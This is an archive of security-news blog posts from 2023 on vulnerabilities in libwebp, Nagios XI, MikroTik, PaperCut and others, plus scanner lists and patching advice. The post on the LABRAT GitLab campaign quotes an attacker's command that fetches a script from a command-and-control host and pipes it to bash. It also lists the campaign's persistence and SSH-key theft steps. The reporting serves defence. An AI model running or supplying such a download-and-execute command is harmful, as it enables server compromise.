Sep 29 2023


Category: Security vulnerabilities,Smart Phone,Zero daydisc7 @ 9:22 am

Google has designated a brand new CVE number for a major security vulnerability that has been discovered in the libwebp image library, which is used for displaying pictures in the WebP format. This flaw has been found to be exploited in the wild by malicious users. A major vulnerability that existed in Google Chrome for Windows, macOS, and Linux was addressed by a security update that was provided by Google. A CVE ID of CVE-2023-4863 has been assigned to the security flaw, and the vulnerability has been rated as having a severity of 8.8 (High).

As a result of the analysis of the vulnerability, it was found that the libwebp library included a heap buffer overflow vulnerability. This vulnerability allows a threat actor to conduct an out-of-bounds memory write by using a crafted HTML page to trigger the issue.

However, Google has once again reported this vulnerability, which is now known as CVE-2023-5129 and is being monitored. After further investigation, it was discovered that the vulnerability known as CVE-2023-41064 and this one also impacted the same libwebp library. The development comes after Apple, Google, and Mozilla provided remedies to address a flaw that may enable arbitrary code execution when processing a carefully designed picture. The bug is tracked separately as CVE-2023-41064 and CVE-2023-4863. The execution of arbitrary code might lead to a security breach. It is likely that both problems are solutions to the same fundamental issue that exists in the library. CVE-2023-41064 is claimed to have been linked with CVE-2023-41061 as part of a zero-click iMessage attack chain termed BLASTPASS to deliver a mercenary malware known as Pegasus, as stated by the Citizen Lab. At this time, we do not have access to any other technical specifics.

But the choice to “wrongly scope” CVE-2023-4863 as a vulnerability in Google Chrome belied the reality that it also affects practically every other program that depends on the libwebp library to handle WebP pictures, showing that it had a wider effect than was originally supposed. CVE-2023-4863 was discovered by Google security researchers and is tracked by the CVE identifier.

An investigation carried out by Rezillion over the last week has uncovered a comprehensive list of frequently used software programs, code libraries, frameworks, and operating systems that are susceptible to the CVE-2023-4863 vulnerability.

Additionally, the security researcher who found the vulnerabilities CVE-2023-41064 and CVE-2023-4863 reported both of them. This indicates that the researcher brought this issue to the attention of both firms, which led to the creation of two distinct CVEs in the past.

ZIYUETEK USB Data Blocker, Charge-Only Adapter USB Blocker(2PCS), Provide Safe and high-Speed Charging, Protect Against Juice Jacking, Hacking

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Sep 28 2023

5 free vulnerability scanners you should check out

Category: Security vulnerabilitiesdisc7 @ 9:39 am

Vulnerability scanners delve into systems to uncover security gaps. The primary mission? To fortify organizations against breaches and shield sensitive data from exposure.

Beyond merely pinpointing weaknesses, vulnerability scanning is a proactive measure to anticipate potential attacker entry points. The essence of this process lies not just in detection but in remediation and refining strategies, ensuring that vulnerabilities are prioritized.

Here’s a list of 5 free, open-source vulnerability scanners you can try today.


Nuclei is a scanner designed to probe modern applications, infrastructure, cloud settings, and networks, assisting in identifying and correcting vulnerabilities. Internally, Nuclei relies on the principle of templates. These YAML files detail how to identify, rank, and fix specific security threats. A global community of security professionals and researchers actively contributes to the template library. This ecosystem, continuously updated within the Nuclei tool, has received over 5000 templates.


Nikto is a web server scanning tool that conducts in-depth tests on web servers. It checks for over 6700 potentially dangerous files/programs, including certain files or programs, inspects for outdated versions of more than 1250 servers, and looks for particular issues in over 270 server versions. Nikto isn’t crafted for discreet operations. It aims to assess a web server as swiftly as possible, leaving evident traces in log files or being detectable by IPS/IDS systems. Nevertheless, it supports LibWhisker’s methods to counteract IDS, whether to experiment with or evaluate an IDS setup.

free vulnerability scanners


Cariddi enables you to take a list of domains, crawl URLs, and scan for endpoints, secrets, API keys, file extensions, tokens, and more.


OpenVAS is a comprehensive vulnerability scanning tool. It offers both unauthenticated and authenticated testing, supports a range of high-level and low-level internet and industrial protocols, provides performance optimization for large-scale scans, and features a robust internal scripting language to design any vulnerability test.

free vulnerability scanners


Wapiti is a tool designed to assess the security of your websites or web applications. It conducts “black-box” scans, meaning it doesn’t analyze the source code. Instead, it navigates through the webpages of the live web application, searching for scripts and forms to input data. After identifying the list of URLs, forms, and their respective inputs, Wapiti functions like a fuzzer, introducing payloads to determine if a script is susceptible to vulnerabilities.

More resources:

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Sep 20 2023

Nagios Monitoring Tool Vulnerabilities Let Attackers Perform SQL Injection

Category: Security Tools,Security vulnerabilitiesdisc7 @ 9:47 am

Nagios XI is a prominent and frequently used commercial monitoring system for IT infrastructure and network monitoring. 

Vulnerability Research Engineer Astrid Tedenbrant found four distinct vulnerabilities in Nagios XI (version 5.11.1 and below) while conducting routine research.

By making use of three of these flaws classified as (CVE-2023-40931CVE-2023-40933, and CVE-2023-40934), users with various levels of access rights can get access to the database field via SQL injection.

Additionally, the vulnerability (CVE-2023-40932) permits Cross-Site Scripting through the Custom Logo component, rendering on all pages, including the login page.

Details of the Vulnerabilities

SQL Injection in Banner acknowledging endpoint (CVE-2023-40931)

“Announcement Banners” are a feature of Nagios XI that users may choose to recognize. This feature’s endpoint is susceptible to a SQL Injection attack.

When a user acknowledges a banner, a POST request is made to ‘/nagiosxi/admin/banner_message-ajaxhelper.php’ with the POST data ‘action=acknowledge banner message&id=3’.

“The ID parameter is assumed to be trusted but comes directly from the client without sanitization”, the researcher explains.

“This leads to a SQL Injection where an authenticated user with low or no privileges can retrieve sensitive data, such as from the `xi_session` and `xi_users` table containing data such as emails, usernames, hashed passwords, API tokens, and backend tickets”.

SQL Injection in Host/Service Escalation in CCM (CVE-2023-40934)

An authorized user with access to control host escalations can run any database query using Nagios XI’s Core Configuration Manager.

The same database access is possible through this vulnerability as through previous SQL Injection vulnerabilities, although it necessitates more privileges than CVE-2023-40931.

SQL Injection in Announcement Banner Settings (CVE-2023-40933)

In this case, while performing the `update_banner_message_settings` action on the affected endpoint, the `id` parameter is assumed to be trusted and is concatenated into a database query with no sanitization. This allows an attacker to modify the query, the researcher said.

Compared to CVE-2023-40931, successful exploitation of this vulnerability needs more privileges but provides the same database access as the other two SQL Injection Vulnerabilities.

Cross-Site Scripting in Custom Logo Component (CVE-2023-40932)

Reports say Nagios XI may be modified to include a unique corporate logo, which will be visible across the entire product. Included in this are the login page, various administration pages, and the landing page.

A cross-site scripting flaw in this functionality allows an attacker to inject arbitrary JavaScript, which any user’s browser will be able to execute.

“This can be used to read and modify page data, as well as perform actions on behalf of the affected user. Plain-text credentials can be stolen from users’ browsers as they enter them.,” reports said.

Fix Available

All of these vulnerabilities have been fixed, and users are encouraged to update to 5.11.2 or later.

The commercial version of the open-source Nagios Core monitoring platform, Nagios XI, offers more functionality that makes managing complicated IT settings easier.

Because of the access that Nagios XI requires, it is frequently used in highly privileged instances, making it an attractive target for attackers.

SQL Injection Strategies: Practical techniques to secure old vulnerabilities against modern attacks

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Tags: SQL injection

Sep 13 2023

Windows Arbitrary File Deletion Vulnerability Leads to Full System Compromise

Category: Security vulnerabilities,Windows Securitydisc7 @ 8:02 am

Threat actors were using Windows Arbitrary File Deletion to perform Denial-of-service attacks on systems affected by this vulnerability. However, recent reports indicate that this Windows Arbitrary file deletion can be used for a full compromise.

The possibility of this attack depends on the CVE-2023-27470 arbitrary file deletion vulnerability combining it with a Time-of-Check to Time-of-Use (TOCTOU) race condition, which enables the deletion of files on a Windows system and subsequently creates an elevated Command Prompt.

CVE-2023-27470 & TOCTOU – Technical Analysis

CVE-2023-27470 affects N-Able’s Take Control Agent, which can lead to an arbitrary file deletion vulnerability. This vulnerability analysis was done using Microsoft’s Process Monitor, often called ProcMon. 

This vulnerability exists due to insecure file operations conducted by NT AUTHORITY\SYSTEM processes that were detected with the help of ProcMon filters.

The process that was analyzed during this vulnerability was BASupSrvcUpdater.exe, belonging to Take Control Agent

Race Condition

BASupSrvcUpdater.exe attempts every 30 seconds to a non-existent folder under the C:\ProgramData\GetSupportService_N-Central\PushUpdates as an NT AUTHORITY\SYSTEM process. For further research, this PushUpdates folder and a dummy file aaa.txt were created.

BASupSrvcUpdater.exe made an attempt to read the contents of the folder and performed a deletion, which was logged in the C:\ProgramData\GetSupportService_N-Central\Logs\BASupSrvcUpdater_[DATE].log log file. 

This particular action gives rise to a race condition, as a threat actor can exploit this condition by utilizing the timeframe between the deletion and logging.

To exploit this condition and perform a full system compromise, an attacker must replace a file in the PushUpdates folder with a pseudo-symlink.

complete report about this attack has been published, which provides detailed information about the exploitation, techniques, process, and method of complete system compromise.

To prevent this attack, it is recommended for organizations using N-able to upgrade to version 7.0.43 to fix this vulnerability.

Mastering Windows Security and Hardening: Secure and protect your Windows environment from cyber threats using zero-trust security principles

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Tags: Full System Compromise, Mastering Windows Security and Hardening

Sep 11 2023

Notepad++ v8.5.7 Released: Fix for 4 Security Vulnerabilities

Category: Security vulnerabilitiesdisc7 @ 8:19 am

Notepad++ v8.5.7 has been released, which has several bug fixes and new features. There has also been Integrity and authenticity validation, added Security enhancement and fixed a memory leak while reading Utf8-16 files.

Multiple vulnerabilities in Notepad++ relating to Heap buffer read overflow, Heap buffer write overflow & Global buffer read overflow were previously reported. However, the new version of Notepad++ claims to have patched these vulnerabilities.

Gitlab security researcher Jaroslav Lobačevski (@JarLob) discovered these vulnerabilities during the end of August 2023. However, as part of the GitLab coordinated disclosure policy, these vulnerabilities were publicly disclosed before Notepad++ patched them.

Notepad++ v8.5.7

This current new version of Notepad++ implemented the integrity and authenticity validation by introducing the GPG Notepad++ Public key which can be used for the verification of GPG Signature. In addition to that, SHA-256 digests of binary packages have also been added which can be used for checking the integrity of your Notepad++ download.

As part of Bug fixes and new features, Notepad++ has fixed the vulnerabilities reported previously which had the CVE IDs CVE-2023-40031CVE-2023-40036CVE-2023-40164 & CVE-2023-40166

Other fixes include Document disassociated issue, Dragging tab performance issue, Session file saving problem, product version value displayed in file’s properties and activating wrong file(s) were also rectified as part of this new release.

Furthermore, Notepad++ has added an option to suppress file with more than 2GB. This option enables Notepad++ to wait for user confirmation before opening a large file.

“Notepad++ will completely hang and await user confirmation when trying to open a file bigger than 2GB.” reads the issue on GitHub. Notepad++ has also released their current version of source code which can be found in this link

It is recommended for users of Notepad++ to upgrade to version 8.5.7 in order to fix the vulnerabilities and improve the application’s performance.

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Tags: Notepad++

Sep 10 2023

Security Controls and Vulnerability Management

IS27002 Control:-Vulnerability Management
Why penetration test is important for an organization.
Ensuring the protection of user data in real-time, effectively prioritizing risk, fostering security awareness, devising strategies to identify vulnerabilities, and implementing an incident response protocol aligned with vulnerability management. Following compliance protocols becomes crucial in order to abide by and fulfil regulatory standards.
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Cheat sheet for pentester
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Tags: vulnerability management

Aug 21 2023

LABRAT Campaign Strikes: GitLab Flaw Exploited For Cryptojacking and Proxyjacking

Category: Security vulnerabilitiesdisc7 @ 10:29 am
GitLab Flaw Strikes

A new campaign called LABRAT is targeting GitLab with cryptojacking and proxyjacking.

LABRAT, a financially motivated operation, has been uncovered by the Sysdig Threat Research Team (TRT). Notably, the attackers have prioritized stealth and defense evasion tactics.

The LABRAT attackers used an open-source rootkit called hiding-cryptominers-linux-rootkit to conceal their crypto-mining activity by hiding files, processes, and CPU usage.

Technical Analysis – GitLab exploitation

The attacker gained initial access to a container by exploiting the known GitLab vulnerability, CVE-2021-22205. In this vulnerability, GitLab does not properly validate image files passed to a file parser, resulting in a remote command execution. There are many public exploits for this vulnerability, which is still actively exploited.

  • Once the attacker had access to the server, they executed the following command to download a malicious script from the C2 server.
    curl -kL -u lucifer:369369 https://passage-television-gardening-venue[.] | bash
  • The initial script allowed the attacker to achieve persistence, evade defenses, and perform lateral movement through the following actions:
  • Check whether or not the watchdog process was already running to kill it.
  • Delete malicious files if they exist from a previous run.
  • Disable Tencent Cloud and Alibaba’s defensive measures, a recurring feature of many attackers.
  • Download malicious binaries.
  • Create a new service with one of these binaries and if root, ran it on the fly.
  • Modify various cron files to maintain persistence.
  • Gather SSH keys to connect to those machines and start the process again, doing lateral movement.
  • Deletes any evidence that the above processes may have generated.

For more details on LABRAT campaign:

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Tags: Cryptojacking, LABRAT Campaign, Proxyjacking

Aug 11 2023


Category: Security vulnerabilities,VPNdisc7 @ 9:01 am

The term “virtual private network,” or VPN for short, has become almost synonymous with “online privacy and security.” VPNs function by creating an encrypted tunnel through which your data may transit as it moves over the internet. They are designed to protect your privacy and make it impossible for anyone to monitor or access your activity while you are online. But what happens if the same instrument that was supposed to keep your privacy safe turns out to be a conduit for attacks? Introduce yourself to “TunnelCrack,” a frightening discovery that has sent shockwaves across the world of cybersecurity. Nian Xue from New York University, Yashaswi Malla and Zihang Xia from New York University Abu Dhabi, Christina Popper from New York University, and Mathy Vanhoef from KU Leuven University were the ones that carried out the study.

Two serious vulnerabilities in virtual private networks (VPNs) have been discovered by a research team . These vulnerabilities had been dormant since 1996. It is possible to leak and read user traffic, steal information, or even conduct attacks on user devices by exploiting these vulnerabilities, which are present in practically every VPN product across all platforms. TunnelCrack is a combination of two common security flaws found in virtual private networks (VPNs). Even though a virtual private network (VPN) is designed to safeguard all of the data that a user sends, these attacks are able to circumvent this security. An enemy, for example, may take advantage of the security flaws to steal information from users, read their communications, attack their devices, or even just spill it all. Regardless of the security protocol that is utilized by the VPN, the uncovered flaws may be exploited and used maliciously. In other words, even Virtual Private Networks (VPNs) that claim to utilize “military grade encryption” or that use encryption methods that they themselves invented are vulnerable to attack. When a user joins to an unsecured Wi-Fi network, the initial set of vulnerabilities, which they  refer to as LocalNet attacks, is susceptible to being exploited. The second group of vulnerabilities, which are known as ServerIP attacks, are susceptible to being exploited by shady Internet service providers as well as by unsecured wireless networks. Both of these attacks involve manipulating the routing table of the victim in order to deceive the victim into sending traffic outside the secured VPN tunnel. This enables an adversary to read and intercept the data that is being sent.

The video that may be seen below demonstrates three different ways in which an attacker might take advantage of the disclosed vulnerabilities. In the first step of the attack, the LocalNet vulnerability is exploited to force the target to leak communications. This is used to intercept sensitive information that is being transferred to websites that do not have enough security, such as the victim’s account and password being exposed. They also demonstrate how an adversary may determine which websites a user is accessing, which is something that is not generally achievable when utilizing a virtual private network (VPN). Last but not least, a modification of the LocalNet attack is used in order to prevent a surveillance camera from alerting its user to any unexpected motion.

As the demonstration indicates, the vulnerabilities in the VPN may be exploited to trivially leak traffic and identify the websites that an individual is accessing. In addition, any data that is transferred to websites with inappropriate configurations or that is supplied by applications that are not secure may be intercepted.

Users may protect themselves by keeping the software for their VPNs up to date. Additionally, any data that is transferred cannot be stolen if a website is correctly set using HTTP Strict Transport protection (HSTS) to always utilize HTTPS as an additional layer of protection. These days, around 25 percent of websites are built in this manner. In addition, a few of browsers will now display a warning to the user if HTTPS is not being utilized. Last but not least, while they are not always error-free, most current mobile applications employ HTTPS by default and, as a result, also use this additional security.

In addition to being exploited to attack websites, virtual private networks (VPNs) sometimes defend outdated or less secure protocols, which presents an additional danger. These attacks now make it possible for an adversary to circumvent the security provided by a virtual private network (VPN), which means that attackers may target any older or less secure protocols that are used by the victim, such as RDP, POP, FTP, telnet, and so on.

LocalNet Attacks

The adversary in a LocalNet attack pretends to be a hostile Wi-Fi or Ethernet network, and they deceive the victim into joining to their network by using social engineering techniques. Cloning a well-known Wi-Fi hotspot, such as the one offered by “Starbucks,” is a straightforward method for achieving this goal. As soon as a victim establishes a connection to this malicious network, the attacker allots the victim a public IP address as well as a subnet. An illustration of this may be seen in the graphic below; the objective of the opponent in this case is to prevent traffic from reaching the website
The website, which can be seen in the picture to the right, uses the IP address The adversary will convince the victim that the local network is utilizing the subnet in order to intercept traffic that is headed toward this website. The victim is told, in other words, that IP addresses in the range are immediately accessible inside the local network. A web request will be sent to the IP address if the victim navigates to at this time. The victim will submit the web request outside the secured VPN tunnel because it believes that this IP address is immediately available inside the local network.

An adversary may potentially leak practically all of the victim’s traffic by assigning bigger subnets to the local network they have access to. In addition, although while the LocalNet attack’s primary objective is to send data outside the VPN tunnel, it may also be exploited in such a way as to prevent some traffic from passing through while the VPN is in operation.

ServerIP Attacks

In order to execute a ServerIP attack, the attacker has to have the ability to spoof DNS responses before the VPN is activated, and they also need to be able to monitor traffic going to the VPN server. Acting as a hostile Wi-Fi or Ethernet network is one way to achieve this goal; in a manner similar to the LocalNet attacks, this may also be done. The attacks may also be carried out via an Internet service provider (ISP) that is hostile or by a core Internet router that has been hacked.

The fundamental premise is that the attacker will attempt to impersonate the VPN server by forging its IP address. An attacker may fake the DNS answer to have a different IP address if, for instance, the VPN server is recognized by the hostname but its actual IP address is An illustration of this may be seen in the following image, in which the adversary’s objective is to intercept communication sent towards, which has the IP address

The attacker begins by forging the DNS reply for such that it returns the IP address This IP address is identical to the IP address of To put it another way, if you wish to leak traffic towards a certain IP address, you fake that address. After that, the victim will connect to the VPN server that is located at This traffic is then redirected to the victim’s actual VPN server by the adversary, who does this to ensure that the victim is still able to successfully build a VPN connection. As a consequence of this, the victim is still able to successfully build the VPN tunnel even if they are using the incorrect IP address while connecting to the VPN server. In addition to this, the victim will implement a routing rule that will direct all traffic destined for to be routed outside of the VPN tunnel.

A web request is now made to whenever the victim navigates to on their web browser. This request is routed outside of the secured VPN tunnel because of the routing rule that prevents packets from being re-encrypted when they are submitted to the VPN server. As a direct consequence of this, the web request is exposed.

The built-in VPN clients of Windows, macOS, and iOS were discovered to have security flaws by this study. Android versions 12 and above are not impacted by this issue. A significant portion of Linux-based virtual private networks (VPNs) are also susceptible. In addition, they discovered that the majority of OpenVPN profiles, when used with a VPN client that is susceptible to vulnerabilities, utilize a hostname to identify the VPN server, which may lead to behavior that is susceptible to vulnerabilities.

In order to keep customers safe, they worked together with CERT/CC and a number of other VPN providers to develop and release security upgrades over the course of a coordinated disclosure period of ninety days. Mozilla VPN, Surfshark, Malwarebytes, Windscribe (which can import OpenVPN profiles), and Cloudflare’s WARP are a few examples of VPNs that have been updated with patches. You can protect yourself against the LocalNet attack even if updates for your VPN are not currently available by turning off connection to your local network. You may further reduce the risk of attacks by ensuring that websites utilize HTTPS, a protocol that is supported by the majority of websites today.

Securing IPsec Virtual Private Networks

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Aug 10 2023


Category: App Security,Security vulnerabilitiesdisc7 @ 8:25 am

PHP is a widely used programming language that is put to use in the production of dynamic web pages. On the other hand, much like any other program, it is not completely safe from security flaws. CVE-2023-3823 and CVE-2023-3824 are the names of two new security flaws that have been identified in PHP during the course of the last several months.


An information disclosure vulnerability known as CVE-2023-3823 exists in PHP applications and makes it possible for a remote attacker to access sensitive data stored inside such applications. Inadequate validation of the XML input given by the user is the root cause of the vulnerability. This vulnerability might be exploited by the attacker by having them transmit a specially designed piece of XML code to the program. The program would then proceed to parse the code, at which point the attacker would be able to obtain access to sensitive information such as the contents of arbitrary files on the system or the results of queries made to external sources.

This issue may affect any program, library, or service that interacts with XML documents in any way, including processing or communicating with them. Because to the hard work done by nickvergessen, a security researcher, who also released the proof-of-concept.


A remote attacker might execute arbitrary code on a PHP system if they exploited the buffer overflow vulnerability known as CVE-2023-3824. This issue is tracked by the CVE identifier. The insufficient bounds checking performed by the phar_dir_read() method is the root cause of the vulnerability. By submitting a request to the application that has been carefully designed, an adversary might take advantage of this vulnerability. The request would then result in a buffer overflow, which would give the adversary the ability to take control of the system and run whatever code they pleased.

The difficulty of exploiting this vulnerability stems from the fact that it involves a number of faulty checks and overflows. For instance, it was discovered that the condition “to_read == 0 || count ZSTR_LEN(str_key)” was flawed and should not have been used. This has a number of repercussions in the code, one of which is that there is a problem with the line ((php_stream_dirent *) buf)->d_name[to_read + 1] = ‘0’;. This piece of code has the potential to overflow, and it does not NUL-terminate the filename in the correct manner. The issue has been compared to a stack information leak as well as a buffer write overflow, which only serves to exacerbate the situation.In addition to that, there may be potential worries over a buffer overflow in the memset. Even though there have been no such occurrences detected inside PHP itself, third-party extensions might still be impacted.

Although the exploitation is certainly difficult and is contingent on the particular application that is being targeted, it is nevertheless theoretically possible. According to the alert issued by the security team, “People who inspect the contents of untrusted phar files could be affected.”

The proof-of-concept was also released thanks to the efforts of security researcher nielsdos, who is credited for his work.

In PHP 8.0.30, the vulnerabilities CVE-2023-3823 and CVE-2023-3824 have also been addressed. If you are still using an earlier version of PHP, you should consider upgrading as soon as you can to the 8.0.30 release.

PHP Security and Session Management: Managing Sessions and Ensuring PHP Security 

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Tags: PHP, PHP Security

Aug 09 2023

16 Zero-Day Vulnerabilities Discovered in CODESYS Affect Millions of Industrial Devices

Category: OT/ICS,Security vulnerabilities,Zero daydisc7 @ 10:20 am

CODESYS, a widely-used integrated environment for controller programming, holds a strong presence in Operational Technology across diverse industries, such as:-

  • Factory automation
  • Energy
  • Mobile
  • Building
  • Embedded
  • Process

Backed by more than 500 manufacturers (including Schnieder Electric, Beckhoff, Wago, Eaton, ABB, Festo, etc.) and spanning various architectures that we have mentioned below, CODESYS powers millions of global devices:-

  • MIPS
  • Renesas
  • ARM
  • PowerPC
  • TriCore

Cybersecurity Researcher at Microsoft, Vladimir Eliezer Tokarev, recently identified several high-severity vulnerabilities and 16 zero-day vulnerabilities in CODESYS (CODESYS V3 SDK).

Microsoft’s cyberphysical system researchers identified high-severity vulnerabilities in CODESYS V3 SDK that could lead to security risks for OT infrastructure. If you’re at #BHUSA, you can attend this session on August 10 to learn more:

Besides this, Vladimir Eliezer Tokarev dubbed the 16 zero-day vulnerabilities that he found in CODESYS as “CoDe16,” a code name for this complete set of CODESYS zero-day vulnerabilities.

While the OT infrastructure could be affected severely by successfully exploiting all these high-severity vulnerabilities discovered in CODESYS V3 SDK.

Moreover, the Microsoft Threat Intelligence team also prompted and recommended that users at the BHUSA event (Black Hat USA 2023) attend their official session related to this vulnerability profile on August 10.

BHUSA Event Session

Cybersecurity researchers will detail the following key things during this event session:-

  • Exciting findings
  • Share technical insights into vulnerability discovery
  • Firmware extraction
  • Analysis

Apart from this, all the challenges, like proprietary network protocols and debugger-free analysis, will also be explored.

Security analysts will also unveil the root-cause for key flaws, and demonstrate the remote code execution chain to implant malicious payload, gaining full PLC control and factory floor manipulation.

Closing remarks will include the mitigation strategies, an open-source validation tool for CODESYS devices, and a live demo of successful RCE on an exposed system.

Pentesting Industrial Control Systems: An ethical hacker’s guide to analyzing, compromising, mitigating, and securing industrial processes

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Tags: Industrial Devices, OT/ICS critical infrastructure

Aug 01 2023

A step-by-step guide for patching software vulnerabilities

Category: Security patching,Security vulnerabilitiesdisc7 @ 8:59 am

The Cyber Threat Index 2023 by the Coalition anticipates a 13% increase in the average rate of Common Vulnerabilities and Exposures (CVEs) compared to 2022, projecting it to surpass 1,900 per month in 2023. This surge in CVEs poses a challenge for organizations as they grapple with managing the release of thousands of patches and updates every month.

Streamline your patch management process

First a quick disclaimer. Proper patch management relies on important factors like size of an organization, complexity of an IT environment, criticality of systems, and number of resources allocated to manage it all, so plan accordingly. Also, this advice assumes you already have some sort of endpoint management solution or function in place for deploying patches. If not, that’s step one.

Assuming you have a solution in place, the next step is to evaluate and prioritize patches.

Not all vulnerabilities are created equally, which means not all patches are either. But as vulnerabilities like WannaCry demonstrated, delayed patching can have catastrophic consequences. Therefore, it’s important to prioritize updates that have the highest severity of non-superseded vulnerabilities and/or the highest exposure for each environment. For example, if you have an update that impacts only a few devices out of a thousand, and another that impacts 80% of devices, but both are critical, focus on the one that could have the biggest negative impact, and then address the others.

Once the critical updates are addressed, plan to move onto the non-critical patches, which are often driver updates or new software that enhances user experience and prioritize those based on importance to business operations.

Many use the Common Vulnerability Scoring System (CVSS) to help prioritize updates, which is a good starting point. Just remember that many vulnerabilities rated at a medium severity level are ignored – and found to be the source of a breach later.

Once you’ve prioritized the types of updates, the next step is to create guidelines for testing them before they go into production.

The last thing you want to do is break the system. Start by researching the criteria of each update and identifying which components require testing. Next, install each update on at least five off-network devices to be tested against proven success criteria. Record the evidence and have another person review it. Be sure to find out if the update has an uninstaller and use it to ensure complete and safe removal of outdated programs.

If you’re like most organizations, you’ll likely plan on having tons of updates/patches happening all the time. But the more updates installed at any given time increases the risk of end-user disruption (i.e., greater volume of data needing to be downloaded, longer installation times, system reboots, etc.).

Therefore, the next step is to assess your system’s bandwidth, calculate the total number and size of the updates against the total number of devices and types. This can prevent system overloads. When in doubt, just plan to start with five updates and then reassess bandwidth.

Additionally, if you follow any change management best practices (such as ITIL, Prince2, or ServiceNow), it’s important you adhere to those processes for proper reporting and auditability. They usually require documentation on which updates are needed, the impact on a user, evidence of testing, and go-live schedules. Capturing this data properly through the above steps is often required for official approvals as it serves as a single source of truth.

We’ve now gotten to the point of deployment. The next step is to ensure deployment happens safely. I recommend using a patch management calendar when making change requests and when scheduling or reviewing new patch updates. This is where you define the baselines for the number of updates to be deployed and in which order. This should utilize information gathered from previous steps. Once that baseline is set, you can schedule the deployment and automate where necessary.

At last, we’ve made it to the final step: measuring success. This can be handled in a variety of ways. For example, by the number of registered help desk incidents, the ease of which the process can be followed or repeated, or the number of positive reports provided by your toolsets. But ultimately what matters is swift deployment, streamlined repeatable processes, a reduction in manual requirements, and in the end, an organization that is less vulnerable to exploit.

A quick note on where patching often goes awry

Believe it or not, some organizations still allow users to have local admin rights for patching. This creates major attack surfaces, and the reality is, no IT team should rely on end-users for patching (blanket admin rights are just too risky).

Some also rely on free tools, but these often do not deliver all the security needed for patching. They also generally don’t provide the necessary reporting to ensure systems are 100% patched (i.e., validation). And finally, there is an over-reliance on auto-updates. Auto-updates can provide a false sense of security and can impact productivity if they are triggered during work hours.


Whether large or small, organizations continue to struggle with patching. I hope this quick step-by-step guide of key considerations for patch management helps your organization create a new framework or optimize an existing one.

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Tags: Vulnerability Management Program

Jul 26 2023

MikroTik vulnerability could be used to hijack 900,000 routers (CVE-2023-30799)

Category: Security vulnerabilitiesdisc7 @ 9:26 am

While exploting it does require authentication, acquiring credentials to access the routers is not that difficult.

“RouterOS [the underlying operating system] ships with a fully functional ‘admin’ user. Hardening guidance tells administrators to delete the ‘admin’ user, but we know a large number of installations haven’t,” Baines explained. “We probed a sample of hosts on Shodan (n=5500) and found that nearly 60% still used the default admin user.”

In addition to this, until October 2021, the default “admin” password was an empty string and there was no prompt for admins to change it.

“Even when an administrator has set a new password, RouterOS doesn’t enforce any restrictions. Administrators are free to set any password they choose, no matter how simple. That’s particularly unfortunate because the system doesn’t offer any brute force protection (except on the SSH interface),” he added.

About CVE-2023-30799

The interesting thing about CVE-2023-30799 is not that it’s a bug that allows elevation of privilege, but that it allow attackers to achieve “super-admin” privileges, which allows them to full access to the device’s OS and to, potentially, make undetectable changes to it.

Even though the vulnerability received a CVE number this year, its existence has been known since June 2022, when Ian Dupont and Harrison Green of Margin Research released an exploit called FOISted that can obtain a root shell on the RouterOS x86 virtual machine.

The vulnerability had been fixed in the RouterOS stable branch later that year (the fix was shipped in v6.49.7), but not in the RouterOS Long-term branch, which consists of less current but still widely used version of the OS.

A patch for RouterOS Long-term was released last week, after the researchers ported and demonstrated the FOISted exploit working on MIPS-based MikroTik devices either via its web or Winbox interface.

What to do?

“In total, Shodan indexes approximately 500,000 and 900,000 RouterOS systems vulnerable to CVE-2023-30799 via their web and/or Winbox interfaces respectively,” Baines noted.

They haven’t made the exploit public, but the race is on; in the past, attackers have been compromising MikroTik routers for a variety of nefarious ends (cryptojackingsetting up C2 communication proxiesexploit delivery).

Also, it’s possible that attackers have already developed an exploit and have been using it without getting noticed.

“Under normal circumstances, we’d say detection of exploitation is a good first step to protecting your systems. Unfortunately, detection is nearly impossible. The RouterOS web and Winbox interfaces implement custom encryption schemes that neither Snort or Suricata can decrypt and inspect. Once an attacker is established on the device, they can easily make themselves invisible to the RouterOS UI,” Baines shared.

“Microsoft published a toolset that identifies potential malicious configuration changes, but configuration changes aren’t necessary when the attacker has root access to the system.”

Admins/users of MikroTik routers are advised to upgrade to a fixed version (either Stable or Long-term) and, in general, to minimize the attack surface to prevent this type and similar attacks by remote actors.

They can do that by removing MikroTik administrative interfaces from the internet, restricting which IP addresses administrators can log in from, or by disabling the Winbox and the web interfaces, says Baines. “Only use SSH for administration. Configure SSH to use public/private keys and disable passwords.”

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Tags: CVE-2023-30799

May 02 2023

CISA adds TP-Link, Apache, and Oracle bugs to its Known Exploited Vulnerabilities catalog

Category: CISA,Security vulnerabilitiesDISC @ 10:00 am

US Cybersecurity and Infrastructure Security Agency (CISA) added TP-Link, Apache, and Oracle vulnerabilities to its Known Exploited Vulnerabilities catalog.

U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added the following three new issues to its Known Exploited Vulnerabilities Catalog:

CVE-2023-1389 (CVSS score: 8.8) – TP-Link Archer AX-21 Command Injection Vulnerability. The CVE-2023-1389 flaw is an unauthenticated command injection vulnerability that resides in the locale API of the web management interface of the TP-Link Archer AX21 router. The root cause of the problem is the lack of input sanitization in the locale API that manages the router’s language settings. A remote attacker can trigger the issue to inject commands that should be executed on the device.

The vulnerability was first reported to ZDI during the Pwn2Own Toronto 2022 event. Working exploits for LAN and WAN interface accesses were respectively reported by Team Viettel and Qrious Security. 

The Zero Day Initiative (ZDI) threat-hunting team recently reported that the Mirai botnet attempting to exploit the CVE-2023-1389 vulnerability (aka ZDI-CAN-19557/ZDI-23-451, CVSS v3: 8.8) in TP-Link Archer AX21 Wi-Fi routers.

Tags: US Cybersecurity and Infrastructure Security Agency

Apr 25 2023

PoC Exploit Code Released for Critical Papercut Flaw

Category: Security vulnerabilitiesDISC @ 9:39 am

Threat actors are actively taking advantage of critical vulnerabilities present in the PaperCut MF/NG print management software. 

This exploitation aims to plant Atera remote management software onto the targeted servers to gain control over them. From more than 70,000 companies globally, it has over 100 million active users. 

The vulnerabilities affecting the PaperCut MF/NG print management software are tracked as follows:-

Remote threat actors can exploit these vulnerabilities to gain unauthorized access and execute arbitrary code on PaperCut servers that have been compromised.

These flaws can be exploited without user interaction and are relatively easy to carry out, granting the attacker SYSTEM privileges. Recently, in the Shodan search engine, it has been observed that around 1700 PaperCut servers were exposed to the internet.

PoC Exploit Code

PaperCut MF and PaperCut NG versions 20.1.7, 21.2.11, and 22.0.9, and later releases, have addressed both vulnerabilities. 

That’s why security experts strongly advise users to upgrade to any of these patched versions to mitigate the risks associated with these flaws.

Horizon3 has recently released technical information, and a proof-of-concept (PoC) exploit for CVE-2023-27350

Attackers can leverage this exploit to bypass authentication and execute arbitrary code on PaperCut servers that have not been patched.

